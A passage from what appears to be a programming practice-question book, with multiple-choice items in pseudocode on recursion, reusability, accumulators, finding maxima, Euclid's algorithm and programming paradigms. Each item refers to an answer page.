04   return (n - 1) + shakes(n - 1)
05 output(shakes(5))
```

Which output would the program produce?

A. `>>> 0`

B. `>>> 4`

C. `>>> 10`

D. `>>> 14`

Answer: page 991

0002.f.6.2

A student writes the recursive function below to total a fundraiser's ticket sales, one day at a time, beginning with a given day. A classmate proposes four separate edits to the function, and the class discusses what each edit would do.

```
01 /* Adds the ticket sales from day i through the last day */
02 function total_from(int[] sales, int i)
03   if (i == sales.size[1])
04     return 0
05   return sales[i] + total_from(sales, i + 1)
06
07 int[] sales = [12, 30, 8, 25]
08 output(total_from(sales, 0))
```

Which edit would leave the function with no way to stop?

A. exchanging the two operands of + on the function's last line, so that the recursive call's result is written first

B. replacing the `0` in the final call with `2`, so that the total begins with the third day of the fundraiser

C. replacing `return 0` with `return 1`, so that the base case also contributes a value to the total returned

D. replacing `i + 1` in the recursive call with `i`, so that each call examines the same day as the call that made it

Answer: page 991

0002.f.6.3

A student writes the recursive function below to display the digits of a whole number, one per line, for a lesson on place value. Before running it, the student's teacher asks the class to follow the calls down to the smallest one and then back up.

```
01 function digits(int n)
02   if (n >= 10)
03     digits((n - n % 10) / 10)
04   output(n % 10)
05 digits(4073)
```

Which output would the program produce?

A.

```
>>> 4
```

B.

```
>>> 4
>>> 0
>>> 7
>>> 3
```

C.

```
>>> 3
```

D.

```
>>> 3
>>> 7
>>> 0
>>> 4
```

Answer: page 991

0002.f.6.4

A student writes two functions that count the vowels in a text, one with a loop and one with recursion, and confirms that they agree on short words. The student then plans to run both on the complete text of a long novel, which contains several million characters.

```
01 /* Two ways to count the vowels in a text */
02 function is_vowel(String ch)
03   return ch == "a" OR ch == "e" OR ch == "i" OR ch == "o" OR ch == "u"
04
05 function count_loop(String w)
06   int n = 0
07   for (int i = 0; i < w.len; i = i + 1)
08     if (is_vowel(w.sub(i, i)))
09       n = n + 1
10   return n
11
12 function count_rec(String w, int i)
13   if (i == w.len)
14     return 0
15   if (is_vowel(w.sub(i, i)))
16     return 1 + count_rec(w, i + 1)
17   return count_rec(w, i + 1)
18
19 String word = "education"
20 output(count_loop(word))
21 output(count_rec(word, 0))
```

Which statement best describes the most likely difference between the functions on the novel's text?

A. `count_loop` may run out of memory, since a loop keeps a separate copy of `n` for each of the characters it examines.

B. `count_rec` may return a different count, since a recursive function approximates a result that a loop computes exactly.

C. `count_rec` may run out of memory, since a call remains pending for every character in the text until the last call returns.

D. `count_rec` will finish much sooner, since each of its calls examines one character while each pass of the loop examines all of them.

Answer: page 991

0002.f.6.5

A student writes the recursive function below to report whether a word reads the same forward and backward. It compares the characters at two positions, which start at the two ends of the word. The comment on line 07 marks where the student's recursive case belongs.

```
01 /* Reports whether a word reads the same forward and backward */
02 function mirror(String w, int left, int right)
```

```
03   if (left >= right)
04     return TRUE
05   if (w.sub(left, left) != w.sub(right, right))
06     return FALSE
07   /* execute selected code here */
08
09 String[] words = ["racecar", "rotator", "reader"]
10 for (int k = 0; k < words.size[1]; k = k + 1)
11   output(mirror(words[k], 0, words[k].len - 1))
```

Which statement, executed on line 07, completes the function?

A. `return w.sub(left, left) == w.sub(right, right)`

B. `mirror(w, left + 1, right - 1)`

C. `return mirror(w, left + 1, right)`

D. `return mirror(w, left + 1, right - 1)`

Answer: page 991

Reusability

0002.f.7.1

A student writes the program below to report how often three letters appear in an essay, for an English class that is studying word choice. The teacher now wants counts for all 26 letters, and the student plans to write 23 more functions that follow the same pattern.

```
01 /* Reports how often three letters appear in an essay */
02 function count_a(String text)
03   int n = 0
04   for (int i = 0; i < text.len; i = i + 1)
05     if (text.sub(i, i) == "a")
06       n = n + 1
07   return n
08
09 function count_e(String text)
10   int n = 0
11   for (int i = 0; i < text.len; i = i + 1)
12     if (text.sub(i, i) == "e")
13       n = n + 1
14   return n
15
16 function count_i(String text)
17   int n = 0
18   for (int i = 0; i < text.len; i = i + 1)
19     if (text.sub(i, i) == "i")
20       n = n + 1
```

```
21   return n
22
23 String essay = "the science fair is in april"
24 output(count_a(essay))
25 output(count_e(essay))
26 output(count_i(essay))
```

Which revision would most improve the program's reusability?

A. replacing the three functions with one function, `count_vowels(String text)`, that returns the combined count of all three letters

B. replacing the three with one function, `count_letter(String text, String letter)`, that compares each character with `letter`

C. keeping the three functions but moving them to a separate file, so that other programs can copy whichever of the functions they need

D. renaming the functions `count_1`, `count_2`, and `count_3`, so the 23 new functions can follow one numbering pattern

Answer: page 991

0002.f.7.2

A student draws a text bar chart of club membership, one bar per club, using a function that builds a bar from any symbol and length. For the data shown, the program should display `"chess ###"`, `"robotics #####"`, and `"drama ##"`.

```
01 /* Draws a bar chart of club membership, one bar per club */
02 function bar(String symbol, int length)
03   String b = ""
04   for (int i = 0; i < length; i = i + 1)
05     b = concat(b, symbol)
06   return b
07
08 String[] clubs = ["chess", "robotics", "drama"]
09 int[] members = [3, 5, 2]
10 for (int k = 0; k < clubs.size[1]; k = k + 1)
11   /* execute selected code here */
```

Which statement, executed on line 11, completes the program?

A. `output(concat(clubs[k], " ", bar("#", 3)))`

B. `output(concat(clubs[k], " ", bar(members[k], "#")))`

C. `output(concat(clubs[k], " ", bar("#", members[k])))`

D. `output(concat(clubs[k], " ", bar("#", k)))`

Answer: page 991

0002.f.7.3

A school store's program computes sale prices from a percentage stored at the top of the program. The store now wants each price tag to show the price at 20 percent off and at 30 percent off, side by side, and the student who maintains the program wants the function to handle any discount.

```
01 /* Computes sale prices for the school store */
02 int percent_off = 20
03
04 function sale_price(int price)
05   return price - price * percent_off / 100
06
07 output(sale_price(50))
08 output(sale_price(35))
```

Which revision would best make `sale_price` reusable for any discount?

A. assigning `30` to the variable at the top before the second group of calls, and `20` afterward, so that one function serves both

B. replacing the variable in the function's body with the number `20`, so that the function no longer depends on a value outside it

C. copying the function as `sale_price_30`, with `30` in place of the variable, so that each discount has its own function

D. adding a second parameter, `int percent_off`, so that each call states the discount it applies, as in `sale_price(50, 30)`

Answer: page 991

0002.f.7.4

A teacher wrote the function below for one class of three students. The teacher now wants to use it for all five classes, which have between 18 and 31 students each.

```
01 function class_average()
02   int[] scores = [88, 92, 75]
03   int total = scores[0] + scores[1] + scores[2]
04   return total / 3
05 output(class_average())
```

Which change would make the function reusable for every class?

A. writing a copy of the function for each class, each copy with that class's own scores listed inside it

B. giving it three `int` parameters, so that each class's three scores can be passed in whenever it is called

C. giving it an `int` parameter for the number of students, while keeping the array of scores inside it

D. giving it an `int[]` parameter for the scores, and totaling them with a loop that runs to `scores.size[1]`

Answer: page 991

0002.f.7.5

A health class and a science class share one function that counts how many readings fall within a range, including both ends of the range. A student writes the program below to use it on two sets of readings. The third call was typed with its bounds in the wrong order.

```
01 /* Counts the values that fall within a range, for any list of readings */
02 function count_between(int[] v, int low, int high)
03   int n = 0
04   for (int i = 0; i < v.size[1]; i = i + 1)
05     if (v[i] >= low AND v[i] <= high)
06       n = n + 1
07   return n
08
09 int[] heart = [72, 95, 110, 64, 88]
10 int[] temps = [18, 25, 31, 22]
11 output(count_between(heart, 60, 100))
12 output(count_between(temps, 20, 30))
13 output(count_between(heart, 100, 60))
```

Which output would the program produce?

A.

```
>>> 4
>>> 2
>>> 0
```

B.

```
>>> 4
>>> 4
>>> 4
```

C.

```
>>> 4
>>> 2
>>> 4
```

D.

```
>>> 4
>>> 6
```

```
>>> 6
```

Answer: page 991

Accumulator pattern

0002.f.8.1

A debate club wants to know how many different orders its five speakers could present in, which is the product `1 * 2 * 3 * 4 * 5`. A student writes the program below, which should display `120`.

```
01 int speakers = 5
02 /* execute selected code here */
03 for (int k = 1; k <= speakers; k = k + 1)
04   ways = ways * k
05 output(ways)
```

Which statement, executed on line 02, completes the program?

A. `int ways = 1`

B. `int ways = 0`

C. `int ways = speakers`

D. `int ways`

Answer: page 992

0002.f.8.2

A walking club's program should report the week's total steps, the number of days on which members walked, and the average for those days. The club expected `27500`, `5`, and `5500`, but the program displays `3900`, `5`, and `780`.

```
01 /* Reports a walking club's weekly steps and active days */
02 int[] steps = [4200, 0, 6100, 5300, 0, 8000, 3900]
03 int total = 0
04 int active = 0
05 for (int d = 0; d < steps.size[1]; d = d + 1)
06   total = 0
07   total = total + steps[d]
08   if (steps[d] > 0)
09     active = active + 1
10 output(total)
11 output(active)
12 output(total / active)
```

Which statement best explains the incorrect values?

A. `total` is updated before `active` is checked on each pass, so the days without steps are subtracted from it.

B. `total` is set back to `0` at the start of every pass, so after the loop it holds only the final day's steps.

C. The days with `0` steps interrupt the additions, because adding `0` to a total returns it to its starting value.

D. The average divides by `active` instead of by the number of days, which also changes the total displayed first.

Answer: page 992

0002.f.8.3

A school librarian's program reports how many books were returned late and the total number of days late across all of those books. For the data shown, it should display `3` and then `11`, but it displays `11` twice.

```
01 /* Reports the number of late books and the total days late */
02 int[] days_late = [0, 3, 0, 0, 7, 1]
03 int late_books = 0
04 int late_days = 0
05 for (int b = 0; b < days_late.size[1]; b = b + 1)
06   if (days_late[b] > 0)
07     late_books = late_books + days_late[b]
08     late_days = late_days + days_late[b]
09 output(late_books)
10 output(late_days)
```

Which replacement for line 07 makes the program display the correct values?

A. `late_books = late_books + b`

B. `late_books = days_late[b]`

C. `late_books = 1`

D. `late_books = late_books + 1`

Answer: page 992

0002.f.8.4

A science teacher averages only the lab reports that a student submitted, recording each missing report as `-1`. Before using the program below for grades, the teacher traces it by hand to check what it will display for one student.

```
01 /* Averages only the lab scores that were submitted (-1 means missing) */
02 int[] labs = [18, -1, 20, 14, -1, 20]
03 int sum = 0
04 int done = 0
05 for (int i = 0; i < labs.size[1]; i = i + 1)
```

```
06   if (labs[i] != -1)
07     sum = sum + labs[i]
08     done = done + 1
09 output(done)
10 output(sum / done)
```

Which output would the program produce?

A.

```
>>> 4
>>> 72
```

B.

```
>>> 4
>>> 18
```

C.

```
>>> 6
>>> 12
```

D.

```
>>> 2
>>> -1
```

Answer: page 992

0002.f.8.5

A coach's program builds one line of players' initials, separated by commas, to print on a team's jersey order form. For the players shown, it should display `"MR, JP, IO, TL"`.

```
01 /* Builds the line of initials printed on a jersey order */
02 String[] first = ["Maya", "Jon", "Ines", "Theo"]
03 String[] last = ["Ruiz", "Park", "Okafor", "Lind"]
04 String roster = ""
05 for (int p = 0; p < first.size[1]; p = p + 1)
06   String initials = concat(first[p].sub(0, 0), last[p].sub(0, 0))
07   if (p > 0)
08     roster = concat(roster, ", ")
09   /* execute selected code here */
10 output(roster)
```

Which statement, executed on line 09, completes the program?

A. `roster = concat(initials, roster)`

B. `roster = initials`

C. `roster = concat(roster, initials)`

D. `concat(roster, initials)`

Answer: page 992

Searching for a maximum

0002.f.9.1

A diving club logs the depth of each dive at several moments, recording depths below the surface as negative numbers. The function below should return the shallowest depth reached, which is the largest value in the array. It returns `0` for both dives tested, although neither diver surfaced during these dives.

```
01 /* Finds the shallowest point of a dive; depths below the surface are negative */
02 function shallowest(int[] depths)
03   int best = 0
04   for (int i = 0; i < depths.size[1]; i = i + 1)
05     if (depths[i] > best)
06       best = depths[i]
07   return best
08
09 int[] dive_a = [-12, -7, -19, -9]
10 int[] dive_b = [-30, -22, -25]
11 output(shallowest(dive_a))
12 output(shallowest(dive_b))
```

Which replacement for line 03 corrects the function?

A. `int best = -1`

B. `float best = 0.0`

C. `int best = depths[0]`

D. `int best = depths.size[1]`

Answer: page 992

0002.f.9.2

A school's athletic director wants a program that reports the date of the home game with the largest crowd. When two games tie for the largest crowd, the director wants the more recent date. For the data shown, the program displays `"Sep 20"`, although the director wants `"Oct 18"`.

```
01 /* Reports the date of the highest attendance at home games */
02 String[] dates = ["Sep 6", "Sep 20", "Oct 4", "Oct 18", "Nov 1"]
03 int[] crowd = [310, 455, 402, 455, 390]
04 int top = 0
05 for (int g = 1; g < crowd.size[1]; g = g + 1)
06   if (crowd[g] > crowd[top])
```

```
07     top = g
08 output(dates[top])
```

Which change would make the program report the date that the director wants?

A. starting the loop at `g = 0` instead of `g = 1`, so that the first game is compared along with the others

B. replacing `top = g` with `top = crowd[g]`, so that the program stores the size of the crowd, not its position

C. changing > to >=, so that a later game with an equal crowd replaces the stored position

D. changing > to <, so that the loop examines the games from the most recent back to the earliest

Answer: page 992

0002.f.9.3

A coach's program should name the runner with the fastest time in a 400-meter race. It uses two arrays in which the same position refers to the same runner. When the program runs, line 08 produces an error instead of displaying a name.

```
01 /* Names the runner with the fastest time */
02 String[] runners = ["Ade", "Bryn", "Cato", "Dara"]
03 int[] seconds = [64, 61, 58, 59]
04 int fast = seconds[0]
05 for (int r = 1; r < seconds.size[1]; r = r + 1)
06   if (seconds[r] < fast)
07     fast = seconds[r]
08 output(runners[fast])
```

Which replacement for lines 04-07 makes the program display the fastest runner's name?

A.

```
int fast = 0
for (int r = 1; r < seconds.size[1]; r = r + 1)
  if (seconds[r] < fast)
    fast = r
```

B.

```
int fast = 0
for (int r = 1; r < seconds.size[1]; r = r + 1)
  if (seconds[r] > seconds[fast])
    fast = r
```

C.

```
int fast = seconds[0]
for (int r = 1; r < seconds.size[1]; r = r + 1)
  if (seconds[r] < fast)
```

```
        fast = r
```

D.

```
int fast = 0
for (int r = 1; r < seconds.size[1]; r = r + 1)
  if (seconds[r] < seconds[fast])
    fast = r
```

Answer: page 992

0002.f.9.4

A swim coach's program announces each race in which a swimmer set a new personal best, meaning a time lower than every earlier time, and then displays the best time of the season. Races are numbered from `0`, and the first race sets the starting best.

```
01 /* Announces each new personal best across a swimmer's season */
02 int[] times = [72, 70, 70, 71, 68, 68, 69]
03 int best = times[0]
04 for (int race = 1; race < times.size[1]; race = race + 1)
05   if (times[race] < best)
06     best = times[race]
07     output(race)
08 output(best)
```

Which output would the program produce?

A.

```
>>> 0
>>> 1
>>> 4
>>> 68
```

B.

```
>>> 1
>>> 4
>>> 68
```

C.

```
>>> 1
>>> 4
>>> 69
```

D.

```
>>> 1
>>> 2
>>> 4
>>> 5
```

```
>>> 68
```

Answer: page 992

0002.f.9.5

A school's activities office prints a weekly schedule and needs the longest club name, so that the column of names can be made wide enough. The function below should return that name, which is `"Robotics"` for the clubs shown.

```
01 /* Finds the longest club name, to size a schedule's name column */
02 function widest(String[] names)
03   String longest = names[0]
04   for (int i = 1; i < names.size[1]; i = i + 1)
05     /* execute selected code here */
06       longest = names[i]
07   return longest
08
09 String[] clubs = ["Chess", "Robotics", "Art", "Yoga"]
10 output(widest(clubs))
```

Which line, executed on line 05, completes the function?

A. `if (names[i].len > longest)`

B. `if (names[i].len > longest.len)`

C. `if (names[i].len > i)`

D. `if (names[i] > longest)`

Answer: page 992

Greatest common factor algorithm

0002.f.10.1

A middle school mathematics teacher uses the function below to demonstrate Euclid's algorithm for finding a greatest common factor. Before running it, the teacher asks the class to list the pairs of values that `a` and `b` hold each time the condition on line 03 is tested.

```
01 /* Finds the greatest common factor of two positive whole numbers */
02 function gcf(int a, int b)
03   while (b != 0)
04     int r = a % b
05     a = b
06     b = r
07   return a
08
09 output(gcf(84, 36))
```

Which list is correct?

A. `(84, 36)`, `(36, 12)`, and `(12, 0)`, so the function returns `12`

B. `(84, 36)`, `(36, 12)`, and `(12, 0)`, so the function returns `0`

C. `(84, 36)`, `(36, 2)`, `(2, 18)`, and `(18, 0)`, so the function returns `18`

D. `(84, 36)`, `(48, 36)`, `(12, 36)`, `(12, 24)`, `(12, 12)`, and `(12, 0)`, so the function returns `12`

Answer: page 992

0002.f.10.2

A flooring company's program finds the side of the largest square tile that exactly covers each of several rectangular floors, which is the greatest common factor of the floor's two sides. For the floors shown, the program should display `60`, `70`, and `32`, but it displays each floor's shorter side instead.

```
01 /* Finds the largest square tile that exactly covers each floor, in centimeters */
02 function gcf(int a, int b)
03   while (b != 0)
04     a = b
05     b = a % b
06   return a
07
08 int[] widths = [300, 210, 96]
09 int[] lengths = [180, 140, 64]
10 for (int f = 0; f < widths.size[1]; f = f + 1)
11   output(gcf(widths[f], lengths[f]))
```

Which statement best explains the error?

A. The function returns `a` rather than `b`, but `b` is the variable that holds the greatest common factor when the loop ends.

B. The `%` operator gives the quotient of a division, so `b` becomes the number of times the shorter side fits into the longer.

C. The loop's condition should test `a` rather than `b`, since `a` is the value that the function returns once the loop ends.

D. `a` receives its new value before the remainder is found, so the remainder is that of `b` divided by itself, which is `0`.

Answer: page 992

0002.f.10.3

A student rewrites Euclid's algorithm as a recursive function for a unit on recursion. The base case on lines 03-04 is complete, and the comment on line 05 marks where the recursive case belongs.

The program should display 15, 1, and 6.

```
01 /* Finds a greatest common factor recursively */
02 function gcf(int a, int b)
03   if (b == 0)
04     return a
05   /* execute selected code here */
06
07 output(gcf(105, 45))
08 output(gcf(17, 5))
09 output(gcf(12, 30))
```

Which statement, executed on line 05, completes the function?

A. `return gcf(b % a, a)`

B. `return gcf(b, a % b)`

C. `return gcf(a, a % b)`

D. `return a % b`

Answer: page 992

0002.f.10.4

A school's two warning bells repeat on fixed cycles, one every 12 minutes and the other every 18 minutes. A student writes the program below to find how many minutes pass before both ring together again, using the fact that this equals the product of the two cycles divided by their greatest common factor.

```
01 /* Finds when two repeating bells next ring together */
02 function gcf(int a, int b)
03   while (b != 0)
04     int r = a % b
05     a = b
06     b = r
07   return a
08
09 int bell_a = 12
10 int bell_b = 18
11 int together = bell_a * bell_b / gcf(bell_a, bell_b)
12 output(gcf(bell_a, bell_b))
13 output(together)
```

Which output would the program produce?

A.

```
>>> 6
>>> 36
```

B.

```
>>> 18
>>> 12
```

C.

```
>>> 12
>>> 18
```

D.

```
>>> 2
>>> 108
```

Answer: page 992

0002.f.10.5

A student calls the function below with the smaller number first, as `gcf(18, 48)`, and predicts that it will fail, since Euclid's algorithm divides the larger number by the smaller. The student's partner traces the first pass of the loop to check the prediction.

```
01 function gcf(int a, int b)
02   while (b != 0)
03     int r = a % b
04     a = b
05     b = r
06   return a
07
08 output(gcf(18, 48))
```

Which statement correctly describes the first pass and the result?

A. `%` requires its first value to be the larger one, so the first pass produces `ERROR` and the function stops.

B. `18 % 48` is `18`, so the pair becomes `(48, 18)`, and the algorithm continues as usual and returns `6`.

C. `18 % 48` is `0`, so the loop ends after its first pass, and the function returns `48`, the second number given.

D. `18 % 48` is `30`, the difference between the values, so the pair becomes `(48, 30)`, and the function returns `6`.

Answer: page 992

0002.g Paradigms

Read about this in the content summary: 0002.g, page 65.

Imperative paradigm

0002.g.1.1

A café's ordering program finds the amount owed for one customer. Each drink costs 12 dollars, and the customer has a coupon that takes 3 dollars off each drink. The student who wrote the program tests the version below, which displays `18`. A classmate then exchanges lines 03 and 04, changes nothing else, and finds that the program now displays `21`.

```
01 int price = 12
02 int drinks = 2
03 price = price - 3
04 price = price * drinks
05 output(price)
```

Which statement best explains why exchanging the two lines changes the amount displayed?

A. The two lines state facts about `price` that must hold together, so exchanging them changes the equations.

B. Each line replaces the value held in `price`, so whichever runs second works on the value the first left behind.

C. The computer chooses its own order for these lines, and exchanging them signals which order the programmer prefers.

D. Each line starts again from the values set on the first two lines, so the exchange changes which result is shown.

Answer: page 993

0002.g.1.2

A quiz game updates a player's record after each round. The array `correct` records whether the player answered each round correctly. A teacher using the program in class pauses it immediately after the round with `r` equal to `3` has been fully processed, and asks students to state the values held by the program's variables at that moment.

```
01 /* Updates a player's record after each round of a quiz */
02 int score = 0
03 int streak = 0
04 int lives = 3
05 bool[] correct = [TRUE, TRUE, FALSE, TRUE, FALSE]
06
07 for (int r = 0; r < correct.size[1]; r = r + 1)
08   if (correct[r])
09     streak = streak + 1
10     score = score + 10 * streak
11   else
12     streak = 0
```

```
13     lives = lives - 1
14   if (lives == 0)
15     break
16
17 output(score)
18 output(streak)
19 output(lives)
```

At the moment the program is paused, the variables hold which values?

A. `score` is `10`, `streak` is `1`, and `lives` is `2`

B. `score` is `60`, `streak` is `3`, and `lives` is `2`

C. `score` is `40`, `streak` is `0`, and `lives` is `1`

D. `score` is `40`, `streak` is `1`, and `lives` is `2`

Answer: page 993

0002.g.1.3

A teacher introducing programming paradigms shows students the program below, which tracks the money in a savings jar over six weeks. The owner adds 5 dollars every week and takes 8 dollars out every third week. The teacher wants an everyday comparison that matches the way this program arrives at its result, and not merely what the result is.

```
01 /* Tracks the money in a savings jar over six weeks */
02 int jar = 20
03 for (int week = 1; week <= 6; week = week + 1)
04   jar = jar + 5
05   if (week % 3 == 0)
06     jar = jar - 8
07 output(jar)
```

Which comparison best matches the way the program works?

A. a photograph of a finished bookcase in a catalog, from which a factory works out for itself whatever steps are needed to produce one like it

B. a family tree together with the rule that a parent's parent is a grandparent, from which any relative can be found on request

C. a set of instructions for assembling a bookcase, in which each numbered step alters the partly built bookcase left by the step before it

D. a doorbell that does nothing until a visitor presses it and then plays its tune once for each press

Answer: page 993

0002.g.1.4

A student writes two versions of a function that counts the passing scores, those of at least 65, in an array. Both versions return 3 for the array on line 17. The student's teacher remarks that the second version gives up the feature that is most characteristic of the first version's style of programming.

```
01 /* Version 1 */
02 function count_passing(int[] s)
03   int count = 0
04   for (int i = 0; i < s.size[1]; i = i + 1)
05     if (s[i] >= 65)
06       count = count + 1
07   return count
08
09 /* Version 2 */
10 function count_from(int[] s, int i)
11   if (i == s.size[1])
12     return 0
13   if (s[i] >= 65)
14     return 1 + count_from(s, i + 1)
15   return count_from(s, i + 1)
16
17 int[] scores = [70, 52, 88, 65]
18 output(count_passing(scores))
19 output(count_from(scores, 0))
```

Which feature is the teacher most likely referring to?

A. producing the same result every time the function is called with the same array of scores

B. testing each score against a condition, as in `s[i] >= 65`, before deciding whether to count it

C. reaching the answer by repeatedly assigning new values to variables, as with `count` and `i`

D. packaging the work as a named function that returns its answer to the statement that called it

Answer: page 993

0002.g.1.5

A student's game is organized around a `Player` class. Its methods, such as `heal()` and `take_hit()`, each consist of statements that run in order and reassign the player's `health` and `shield` attributes. In a class discussion, the student argues that because the program is built from objects, it cannot be described as imperative in any respect. Which response best evaluates the student's argument?

A. It is correct, since the paradigms are alternatives, and the presence of a class places a program in the object-oriented one.

B. It is mistaken, since each method still runs statements that change stored values, and objects organize that work.

C. It is correct, since methods are functions, and a program built from functions is functional.

D. It is mistaken, since a program that stores values such as `health` is imperative, whether or not those values change.

Answer: page 993

Procedural paradigm

0002.g.2.1

A student writes the program below to report a student's average mark and whether the student earns honors. To avoid adding up the marks a second time, the student has `honors` use the sum that `average` has already computed. The program displays `92` and then stops with an error when it reaches line 09.

```
01 /* Reports a student's average and whether it earns honors */
02 function average(int[] marks)
03   int total = 0
04   for (int i = 0; i < marks.size[1]; i = i + 1)
05     total = total + marks[i]
06   return total / marks.size[1]
07
08 function honors(int[] marks)
09   int mean = total / marks.size[1]
10   return mean >= 90
11
12 int[] marks = [92, 88, 95]
13 output(average(marks))
14 output(honors(marks))
```

Which statement best explains the error?

A. `total` is reset to `0` as soon as `average` returns, so `honors` divides zero by three and cannot finish.

B. `total` is valid only inside the function that declares it, so `honors` cannot refer to that name at all.

C. `honors` begins before the loop in `average` finishes, so the sum in `total` is not yet available.

D. Two functions whose parameters are both named `marks` interfere, so the second function cannot run.

Answer: page 993

0002.g.2.2

A fitness app summarizes a week of daily step counts, recorded in thousands. The program uses two functions, each of which declares its own variable named `count`. A student testing the program

is unsure whether the two functions, or two calls to the same function, affect one another's results, and traces the program by hand to find out.

```
01 /* Summarizes a week of daily step counts, in thousands */
02 function count_active(int[] days)
03   int count = 0
04   for (int i = 0; i < days.size[1]; i = i + 1)
05     if (days[i] >= 8)
06       count = count + 1
07   return count
08
09 function count_rest(int[] days)
10   int count = 0
11   for (int i = 0; i < days.size[1]; i = i + 1)
12     if (days[i] < 3)
13       count = count + 1
14   return count
15
16 int[] week = [9, 2, 11, 5, 1, 8, 4]
17 output(count_active(week))
18 output(count_rest(week))
19 output(count_active(week))
```

Which output would the program produce?

A.

```
>>> 3
>>> 2
>>> 6
```

B.

```
>>> 3
>>> ERROR
```

C.

```
>>> 3
>>> 5
>>> 8
```

D.

```
>>> 3
>>> 2
>>> 3
```

Answer: page 993

0002.g.2.3

A teacher's program averages quiz scores for three class sections, as shown below. In an earlier version, a line resetting `total` was missing, and section `b`'s average silently included section `a`'s scores. The teacher now wants the program reorganized so that a correction to the averaging steps needs to be made in only one place, and so that a mistake in one section's calculation cannot alter the figures for another section.

```
01 /* Averages quiz scores for three class sections */
02 int[] a = [80, 75, 90]
03 int[] b = [60, 85, 70, 96]
04 int[] c = [88, 92]
05 int total = 0
06 for (int i = 0; i < a.size[1]; i = i + 1)
07   total = total + a[i]
08 output(total / a.size[1])
09 total = 0
10 for (int i = 0; i < b.size[1]; i = i + 1)
11   total = total + b[i]
12 output(total / b.size[1])
13 total = 0
14 for (int i = 0; i < c.size[1]; i = i + 1)
15   total = total + c[i]
16 output(total / c.size[1])
```

Which reorganization best meets both of the teacher's goals?

A. adding a comment above each loop that names its section and reminds the reader to reset `total`

B. writing the steps once as a function that takes a section's scores, keeps its own total, and returns the average

C. merging the three loops into one long loop that uses the variables `total_a`, `total_b`, and `total_c`

D. placing each section's loop in a separate file, so that each can be opened, edited, and run without loading the others

Answer: page 993

0002.g.2.4

A school's sign-in kiosk is meant to number each visitor as the visitor signs in, so that the first visitor of the day is told `1`, the second `2`, and so on. A student tests the procedure below with three visitors, expecting `1`, `2`, and `3`, but the program displays `1` for every visitor.

```
01 /* Numbers each visitor who signs in */
02 function sign_in(String name)
03   int visitors = 0
04   visitors = visitors + 1
05   output(visitors)
```

```
06
07 sign_in("Ana")
08 sign_in("Ben")
09 sign_in("Kim")
```

Which statement best explains the output?

A. The procedure keeps a separate `visitors` variable for each different name passed in, each starting at `0`.

B. The procedure runs only once, where it is defined, and each later call repeats the output of that first run.

C. `visitors` keeps its value between calls, but `output` shows only the amount added during the current call.

D. `visitors` belongs to the procedure, so each call creates it anew with the value `0`, carrying nothing over.

Answer: page 993

0002.g.2.5

A store's checkout program contains 40 procedures. A bug report states that the variable `discount`, declared inside the procedure `apply_sale`, sometimes holds the wrong value while `apply_sale` runs. Several other procedures declare variables of their own that are also named `discount`. A new programmer plans to search all 40 procedures for any statement that might change the value. Which statement best evaluates this plan?

A. The plan is sound, since the procedures that declare their own `discount` share a single stored value with `apply_sale` whenever both are running.

B. The search can be limited to `apply_sale`, since no statement outside that procedure can refer to the variable it declares.

C. The plan is sound, since once a variable has been declared, any procedure in the program may assign a new value to it.

D. The search can be limited to the procedures that call `apply_sale`, since a caller may change the variables of any procedure it calls.

Answer: page 993

Functional paradigm

0002.g.3.1

A team is choosing a helper function for its gradebook program. The function will be called from many parts of the program, in no fixed order, and the team requires that calling it never affect

anything except the value the call returns. Four candidates, each adding 5 points to one score in an array, are shown below.

```
01 /* Candidate helper functions for a gradebook program */
02 String[] audit = []
03
04 function curve_a(int[] s, int i)
05   s[i] = s[i] + 5
06   return s[i]
07
08 function curve_b(int[] s, int i)
09   return s[i] + 5
10
11 function curve_c(int[] s, int i)
12   audit.append("curved")
13   return s[i] + 5
14
15 function curve_d(int[] s, int i)
16   output(s[i])
17   return s[i] + 5
18
19 int[] scores = [70, 82]
20 output(curve_b(scores, 0))
```

Which candidate meets the team's requirement?

A. `curve_b`, since its result is computed from its arguments and it changes nothing outside itself

B. `curve_c`, since adding an entry to `audit` keeps a record of each call without changing any of the scores themselves

C. `curve_a`, since it stores the curved score back in the array, so that later calls can build on the updated value

D. `curve_d`, since displaying a score only reports a value and leaves every variable in the program as it was before

Answer: page 993

0002.g.3.2

A library assigns each new card an identification number by calling the function below with the branch number. A tester notices that `next_id(3)` returns a different number every time it is called with the same argument. The tester also finds that adding the check on lines 10 and 11 changed the number displayed by line 12, although line 12 itself was not edited.

```
01 /* Gives each new library card an identification number */
02 String int{} counters = {"last": 1000}
03
04 function next_id(int branch)
```

```
05   counters{"last"} = counters{"last"} + 1
06   return branch * 10000 + counters{"last"}
07
08 output(next_id(3))
09 output(next_id(3))
10 if (next_id(3) > 31001)
11   output("check")
12 output(next_id(3))
```

Which statement best explains both of the tester's observations?

A. Each call returns a value and also changes data outside the function, so its result depends on earlier calls.

B. A call made inside a condition runs in a special test mode, which advances the counter twice.

C. Arguments are used up when a function receives them, so passing `3` again gives the function a different value.

D. The function depends only on its argument, so the differences must come from `output`, which adds results together.

Answer: page 993

0002.g.3.3

A teacher's program adds a bonus to every quiz score while keeping the original scores for the record. The function `with_bonus` is applied twice, the second time to the scores it has already adjusted. Before running the program, a student predicts what the last three lines will display.

```
01 /* Adds a bonus to every score, keeping the originals */
02 function with_bonus(int[] v, int bonus)
03   int[] out = []
04   for (int i = 0; i < v.size[1]; i = i + 1)
05     out.append(v[i] + bonus)
06   return out
07
08 int[] raw = [61, 74, 88]
09 int[] adjusted = with_bonus(raw, 4)
10 int[] again = with_bonus(adjusted, 4)
11 output(raw[0])
12 output(adjusted[0])
13 output(again[2])
```

Which output would the program produce?

A.

```
>>> 69
>>> 69
>>> 96
```

B.

```
>>> 65
>>> 65
>>> 96
```

C.

```
>>> 61
>>> 65
>>> 96
```

D.

```
>>> 61
>>> 65
>>> 92
```

Answer: page 993

0002.g.3.4

A software team's automated tests pass whenever each test is run by itself. When the whole set of tests runs together, some tests fail, and which ones fail changes when the tests run in a different order. Every function being tested reads from and updates one shared table of running totals. Which change would most directly make each test's result depend only on the test itself?

A. combining all of the tested functions into a single function, so that the shared table of totals is updated in just one place

B. running the tests on a faster computer, so that each test is able to finish completely before the next test in the set begins

C. rewriting each function to take the values it needs as arguments and return its result, without updating the shared table

D. adding output statements to each function, so that testers can watch the values in the shared table as they change

Answer: page 994

0002.g.3.5

A student writes the program below to report the best valid score in a set of entries. A negative entry marks a missing score, and any score above 100 is reduced to 100 before the best is chosen. A classmate asks how line 26 produces its result, since the program never assigns the cleaned or capped scores to any variable.

```
01 /* Reports the best score after cleaning and capping the entries */
02 function valid(int[] v)
03   int[] out = []
```

```
